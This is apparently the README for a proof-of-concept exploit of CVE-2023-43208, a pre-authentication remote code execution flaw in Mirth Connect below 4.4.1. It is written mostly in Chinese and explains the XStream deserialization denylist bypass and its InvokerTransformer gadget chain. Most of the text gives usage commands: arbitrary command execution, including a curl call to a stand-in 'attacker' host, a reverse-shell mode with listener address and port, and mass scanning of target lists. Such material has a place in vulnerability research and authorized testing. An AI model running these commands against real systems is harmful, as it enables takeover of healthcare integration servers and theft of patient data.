
CVE-2023-43208: Mirth Connect 预认证 RCE PoC
在 NextGen Healthcare Mirth Connect < 4.4.1 中通过 XStream 反序列化绕过实现预认证远程代码执行。
CVSS 9.8(严重) — CVE-2023-37679 的补丁绕过
Mirth Connect 在 /api/users 端点上使用 Java XStream 库反序列化 XML 负载,无需身份验证。原始修复(CVE-2023-37679)引入了一个危险类黑名单,但通过使用 Apache Commons Lang3 中的 EventBindingInvocationHandler 结合 Commons Collections4 的 InvokerTransformer 链绕过了该黑名单。
在 Mirth Connect 4.4.1 中通过从黑名单切换为白名单修复。
pip install requests
Python 3.10+(使用 match 语句)。
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
此工具仅供授权安全测试和教育目的使用。未经授权访问计算机系统是违法的。测试前务必获得适当授权。